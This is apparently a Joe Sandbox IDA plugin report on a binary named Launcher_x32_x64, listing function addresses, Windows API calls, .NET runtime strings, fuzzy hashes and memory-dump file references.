Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorLast$SleepSwitchThread
String ID: RareDisablePreemptiveGC: entering. Thread state = %x$RareDisablePreemptiveGC: leaving$Thread::HandleThreadAbort throwing abort for %x$Waiting for GC completion failed
API String ID: 490134931-2713640120
Opcode ID: 62247eb5610e1aa5834637c6737ae8e57e99af65a45d1d902847122c53e4c303
Instruction ID: 2791861f7685bf5d7001010f4c2a0b4273c1ad354560f62998f9ba555555aa6c
Opcode Fuzzy Hash: 62247eb5610e1aa5834637c6737ae8e57e99af65a45d1d902847122c53e4c303
Instruction Fuzzy Hash: 6B612530B003018BDB34DF14EADAF697BA9AF44720F08805DE9459F2EAD734AC41DB51

Function 00FA7340 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0108BEC0: HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,0138695C,?,00FA762A), ref: 0108BF10

HeapFree.KERNEL32(00000000,00000000,95E4D7D1,00000001,014AA768), ref: 00FA73E2
wcstok_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,0140CBD0,00000001,95E4D7D1), ref: 00FA7465
wcstok_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,01417908,?), ref: 00FA7480
wcstok_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,01417908,?), ref: 00FA7496
_swprintf.LIBCMT ref: 00FA74F1
wcstok_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,0140CBD0,?,?,00000000,00000000,00000000,000000FF), ref: 00FA751E
HeapFree.KERNEL32(00000000,00000000), ref: 00FA754C

Strings

{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}, xrefs: 00FA74E9

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: wcstok_s$FreeHeap$_swprintf
String ID: {%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}
API String ID: 4021065324-128308884
Opcode ID: 1e1e70e3a9b7a72f7f8ca4fd55b0ec287d5feee10ca0ff2f5805881ea2c2374b
Instruction ID: 701ae493952373a1359f1db26b9a539d49c3b5dda6c7724abf70a3a4e9effa0e
Opcode Fuzzy Hash: 1e1e70e3a9b7a72f7f8ca4fd55b0ec287d5feee10ca0ff2f5805881ea2c2374b
Instruction Fuzzy Hash: 0961B1B0D04358EFDB20EBE5DC19BAEBBB8AF05314F044119E851EB2D4E7B85904DB90

Function 0109A790 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000104,gcgenaware.{pid}.nettrace,00000000), ref: 0109A7C7
GetCurrentProcessId.KERNEL32 ref: 0109A7D0
_itow_s.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,00000014,0000000A), ref: 0109A7DF
wcscat_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000104,?), ref: 0109A7EF
wcscat_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000104,?), ref: 0109A802
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000104,gcgenaware.{pid}.nettrace,gcgenaware.{pid}.nettrace), ref: 0109A83A

Strings

{pid}, xrefs: 0109A7A7
gcgenaware.{pid}.nettrace, xrefs: 0109A7AC, 0109A7C0, 0109A832, 0109A833

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: wcscat_swcsncpy_s$CurrentProcess_itow_s
String ID: gcgenaware.{pid}.nettrace${pid}
API String ID: 1046258036-1878681484
Opcode ID: 405af7e3710213b710124ead0740bb6bdeb6e3a68e05c6566fa4e19aed855c19
Instruction ID: 3c340f56fa71f06c72e388df61e0afaf4254dc9231d7c48292731bc7ee9eb002
Opcode Fuzzy Hash: 405af7e3710213b710124ead0740bb6bdeb6e3a68e05c6566fa4e19aed855c19
Instruction Fuzzy Hash: 73117FB27002086FC714EBB8EC99DFB776CEF84729F044169FA028B151DEB15905C7A0

Function 0113E2C0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0({pid},00000000,00000000,0113F38C,?), ref: 0113E2EA
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 0113E2F8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0113E306
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0113E31C
_swprintf.LIBCMT ref: 0113E351
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0113E360

Strings

%.*s%s%s, xrefs: 0113E34A
{pid}, xrefs: 0113E2D1, 0113E2E5

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: strlen$_swprintffreemalloc
String ID: %.*s%s%s${pid}
API String ID: 2542842151-1498274739
Opcode ID: ddc2121ae61a6886ae82878cd553e32a883c8122414faa3d98646f204de95956
Instruction ID: 8a33aeb710345c9168f90316784bde6303873a4921d9584f2156a2bbe7b51b37
Opcode Fuzzy Hash: ddc2121ae61a6886ae82878cd553e32a883c8122414faa3d98646f204de95956
Instruction Fuzzy Hash: 1111B4F1A00205ABDB249FADFC859AABBECEF90311F144039EC45D7314EA759D64C7A1

Function 00E32160 Relevance: 13.9, APIs: 11, Instructions: 164COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(014B958C,95E4D7D1,03A45CC0,00000000,014B9560,00000000,01324B94,000000FF,?,00E330F1,014B9560,014B9CE0,00000000), ref: 00E32192
InitializeCriticalSection.KERNEL32(014B95A8,?,00E330F1,014B9560,014B9CE0,00000000), ref: 00E321B5
InitializeCriticalSection.KERNEL32(014B95C4,?,00E330F1,014B9560,014B9CE0,00000000), ref: 00E321D6
InitializeCriticalSection.KERNEL32(014B9564,?,00E330F1,014B9560,014B9CE0,00000000), ref: 00E32206
InitializeCriticalSection.KERNEL32(014B965C,?,00E330F1,014B9560,014B9CE0,00000000), ref: 00E32247
InitializeCriticalSection.KERNEL32(014B9634,?,00E330F1,014B9560,014B9CE0,00000000), ref: 00E32288
InitializeCriticalSection.KERNEL32(014B9684,?,00E330F1,014B9560,014B9CE0,00000000), ref: 00E322C9
InitializeCriticalSection.KERNEL32(014B96AC,?,00E330F1,014B9560,014B9CE0,00000000), ref: 00E3230A
InitializeCriticalSection.KERNEL32(014B95E0,?,00E330F1,014B9560,014B9CE0,00000000), ref: 00E3233C
InitializeCriticalSection.KERNEL32(014B95FC,?,00E330F1,014B9560,014B9CE0,00000000), ref: 00E32360
InitializeCriticalSection.KERNEL32(014B9618,?,00E330F1,014B9560,014B9CE0,00000000), ref: 00E32384

Part of subcall function 01086B90: GetProcessHeap.KERNEL32(?,0108A1C1,0000000C,95E4D7D1,?,00000002,?,?,01324B94,000000FF,?,01094F5F,00000002,00000002,?,95E4D7D1), ref: 01086B9C
Part of subcall function 01086B90: RtlAllocateHeap.NTDLL(03A20000,00000000,00000002,?,0108A1C1,0000000C,95E4D7D1,?,00000002,?,?,01324B94,000000FF,?,01094F5F,00000002), ref: 01086BBA

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalInitializeSection$Heap$AllocateProcess
String ID:
API String ID: 4157389036-0
Opcode ID: 6ffd568df2c5f8b767c9f611b1574a24391ab26221b9e808951cc03ee43809f6
Instruction ID: a6f8a6a6e71c84dc47a595f9d930abaa798a523b33b95e65ea6b5275252d3d27
Opcode Fuzzy Hash: 6ffd568df2c5f8b767c9f611b1574a24391ab26221b9e808951cc03ee43809f6
Instruction Fuzzy Hash: 4481F572810B518FE331CF21D855782BBF4BF29304F214B1ED88696A21D7B9B6988BC4

Function 01087390 Relevance: 13.9, APIs: 9, Instructions: 354COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(?,?,?,95E4D7D1,?), ref: 0108749E
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000055,?,00000055,00000000,95E4D7D1,?,?,?), ref: 0108755B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000055,?,00000055,00000000,95E4D7D1,?,?,?), ref: 01087598
LeaveCriticalSection.KERNEL32(?,00000000,95E4D7D1,?,?,?), ref: 01087626
FreeLibrary.KERNEL32(00000000,00000000,95E4D7D1,?,?,?), ref: 01087673
LeaveCriticalSection.KERNEL32(?,00000000,95E4D7D1,?,?,?), ref: 0108768E
LeaveCriticalSection.KERNEL32(?,?,?,95E4D7D1,?,?,?), ref: 010876F1
LeaveCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,95E4D7D1,?), ref: 010877F1
FreeLibrary.KERNEL32(00000000,?,00000001,00000000,?,?,95E4D7D1,?), ref: 0108783F

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalLeaveSection$FreeLibrarywcsncpy_s
String ID:
API String ID: 728819610-0
Opcode ID: 875f7c9d206079fecedff46164de9736cca792af850dcd38fe3e458246d0c640
Instruction ID: c3d7fa74654ccbde3afac2c96335ad57927aeed58701179020873d6100640738
Opcode Fuzzy Hash: 875f7c9d206079fecedff46164de9736cca792af850dcd38fe3e458246d0c640
Instruction Fuzzy Hash: 97E1F170A08206DFEB61EF6CC8847AEBBF4BF04718F204199DDD5A7299D7759900CBA0

Function 00FA7580 Relevance: 13.8, APIs: 5, Strings: 4, Instructions: 274memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,?), ref: 00FA79E6

Part of subcall function 0108BEC0: HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,0138695C,?,00FA762A), ref: 0108BF10

HeapFree.KERNEL32(00000000,?), ref: 00FA774F
HeapFree.KERNEL32(00000000,?), ref: 00FA7776

Part of subcall function 01094330: LCMapStringEx.KERNEL32(0140CA30,00000200,00000003,00000001,?,00000001,00000000,00000000,00000000), ref: 01094419

Strings

ProfAPI_ProfilerCompatibilitySetting, xrefs: 00FA76C4, 00FA78D0
PreventLoad, xrefs: 00FA7673
EnableV2Profiler, xrefs: 00FA765A
4, xrefs: 00FA7944

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap$String
String ID: 4$EnableV2Profiler$PreventLoad$ProfAPI_ProfilerCompatibilitySetting
API String ID: 953258383-3714678557
Opcode ID: 37ab3f39d5c640ca47771920478bdf407a370135e68c7b2e695ddf30d01bdc72
Instruction ID: 448c3eca4d7ef835709bc170c0a526c34d898a38035be25d19f0da3b646b5472
Opcode Fuzzy Hash: 37ab3f39d5c640ca47771920478bdf407a370135e68c7b2e695ddf30d01bdc72
Instruction Fuzzy Hash: B3C17DF0A04318DBEB20DF64CC98B9ABBB4FB45314F5041E9E608A7291D7745E84DF55

Function 0114B360 Relevance: 13.6, APIs: 9, Instructions: 142fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,00000004,00000000,00000000,?,?,?,?,?,?,?,0114C06B,?), ref: 0114B397
GetLastError.KERNEL32(?,?,?,?,0114C06B,?), ref: 0114B3A9
GetOverlappedResult.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,0114C06B,?), ref: 0114B3C0
WriteFile.KERNEL32(?,?,00000004,00000000,00000000,?,?,?,?,0114C06B,?), ref: 0114B423
GetLastError.KERNEL32(?,?,?,?,0114C06B,?), ref: 0114B432
GetOverlappedResult.KERNEL32(FFFCB810,?,00000000,00000001,?,?,?,?,0114C06B,?), ref: 0114B44E
WriteFile.KERNEL32(FFFCB810,?,?,00000000,?,?,?,?,?,0114C06B,?), ref: 0114B47A
GetLastError.KERNEL32(?,?,?,?,0114C06B,?), ref: 0114B489
GetOverlappedResult.KERNEL32(FFFCB810,?,00000000,00000001,?,?,?,?,0114C06B,?), ref: 0114B4A5

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorFileLastOverlappedResultWrite
String ID:
API String ID: 2326230619-0
Opcode ID: 6224ec66226c80a092c6138f9e65d0899daa4ab61a8d59a0c9c8042c380eb3b0
Instruction ID: dd2a4216abed0677cbbe5f6087f39ba39f9c989903aa8493f65ea8c3622e192e
Opcode Fuzzy Hash: 6224ec66226c80a092c6138f9e65d0899daa4ab61a8d59a0c9c8042c380eb3b0
Instruction Fuzzy Hash: F7512976908119AFDB05CFA9D884BDEBBFCEF08700F088095EA05E7261D371DA55DB90

Function 00F44260 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 224memoryCOMMON

Download Yara Rule

APIs

wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?, at,00000005,00000004,00000000), ref: 00F44321

Part of subcall function 01094940: HeapFree.KERNEL32(00000000,00000002,?,?), ref: 01094A56

Part of subcall function 00F44040: HeapFree.KERNEL32(00000000,?), ref: 00F44174

HeapFree.KERNEL32(00000000,?), ref: 00F443C5
HeapFree.KERNEL32(00000000,?,?,0140CF58,?, ), ref: 00F44442
HeapFree.KERNEL32(00000000,?,?,00F43FC0,?,00000109,00000000,?,0140CF58,?, ), ref: 00F444D1
HeapFree.KERNEL32(00000000,?,?,00F43FC0,?,00000109,00000000,?,0140CF58,?, ), ref: 00F44509

Strings

, xrefs: 00F443F7
at, xrefs: 00F44316

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap$wcscpy_s
String ID: $ at
API String ID: 1983039323-3158221822
Opcode ID: 895b61e76a27e0a55dfe3f26fa8d51d71b8b31acd454391e5726f36b2343873a
Instruction ID: 099472ae0e141b97f64df3d64e2397f1e91ae0ce389a93a5b91dbaad899d118b
Opcode Fuzzy Hash: 895b61e76a27e0a55dfe3f26fa8d51d71b8b31acd454391e5726f36b2343873a
Instruction Fuzzy Hash: EA918B71D00248EBEF24DFA5D995BEDBFB4EF04724F248229E850B72A0DB746905EB40

Function 0113E770 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 214libraryloadermemoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,00000000,00000000,00000000,?,?,?,?,00000004,?,?,?,00000000,00000000,00000000), ref: 0113E893

Part of subcall function 00FCA640: CloseHandle.KERNEL32(?,95E4D7D1), ref: 00FCA6D6

GetProcAddress.KERNEL32(00000000,timeBeginPeriod), ref: 0113E983
GetProcAddress.KERNEL32(timeEndPeriod), ref: 0113E999

Strings

Microsoft-DotNETCore-SampleProfiler, xrefs: 0113E821
winmm.dll, xrefs: 0113E96A
timeBeginPeriod, xrefs: 0113E97D
timeEndPeriod, xrefs: 0113E989

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: AddressProc$CloseFreeHandleHeap
String ID: Microsoft-DotNETCore-SampleProfiler$timeBeginPeriod$timeEndPeriod$winmm.dll
API String ID: 1797856795-753872048
Opcode ID: 3ae4c5d7c59b1367673bac6e07d14c9d46fa97cf19166c968d76cc352e10ed98
Instruction ID: d950af228f90f1b55157e3b491a0e913df5fffda4408989ca6cbfa50ca6c3458
Opcode Fuzzy Hash: 3ae4c5d7c59b1367673bac6e07d14c9d46fa97cf19166c968d76cc352e10ed98
Instruction Fuzzy Hash: D071E331B013019FEF28DF28E8D0B6A7BA6BB84714F144569FA05AB2ACDB71D850CB51

Function 00E953C0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 180libraryloadermemoryCOMMON

Download Yara Rule

APIs

wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000002,03A87C18,03A87C16,00000004,00000000,95E4D7D1,00000000,00000000), ref: 00E954C0
HeapFree.KERNEL32(00000000,00000000,00000000,95E4D7D1,00000000,00000000), ref: 00E9558B
GetLastError.KERNEL32(00000000,95E4D7D1,00000000,00000000), ref: 00E95595
GetProcAddress.KERNEL32(00000000,GC_VersionInfo), ref: 00E955D4

Part of subcall function 00E3F140: HeapFree.KERNEL32(00000000,?,?,?,?,95E4D7D1), ref: 00E3F18B

GetProcAddress.KERNEL32(00000000,GC_Initialize), ref: 00E95626

Strings

GC_Initialize, xrefs: 00E95620
GC_VersionInfo, xrefs: 00E955C8

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: AddressFreeHeapProc$ErrorLastwcscpy_s
String ID: GC_Initialize$GC_VersionInfo
API String ID: 2550415743-311598099
Opcode ID: 9b80d6e428e3bdd7a39edad79f304a06cdca6b89a414751dd9d926b7d4be3f34
Instruction ID: 3a1030de6dba254da22ff51fe9fa0c1d9517b2e64b5559677cd74c816c345a12
Opcode Fuzzy Hash: 9b80d6e428e3bdd7a39edad79f304a06cdca6b89a414751dd9d926b7d4be3f34
Instruction Fuzzy Hash: 2A71CDB29006188BDF26DF14DC997EEB7B8FF48314F504198E84AAB291DB745E84CF90

Function 00FF06F0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 145libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,AmsiInitialize), ref: 00FF07A9
GetProcAddress.KERNEL32(00000000,AmsiScanBuffer), ref: 00FF07DB
LeaveCriticalSection.KERNEL32(00000000,95E4D7D1,0000002C,00000000,00000024,000000FF,?,0128C465,95E4D7D1,?,00000000), ref: 00FF0808

Part of subcall function 00E4F4A0: DeleteCriticalSection.KERNEL32(00000000,?,95E4D7D1,014B7724,80004005), ref: 00E4F4E8
Part of subcall function 00E4F4A0: HeapFree.KERNEL32(00000000,00000000,95E4D7D1,014B7724,80004005,?,?,?,?,?,?,?,?,00000000,01359AF5,000000FF), ref: 00E4F50D

Strings

amsi.dll, xrefs: 00FF0793
AmsiScanBuffer, xrefs: 00FF07D5
coreclr, xrefs: 00FF07C1
AmsiInitialize, xrefs: 00FF07A3

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
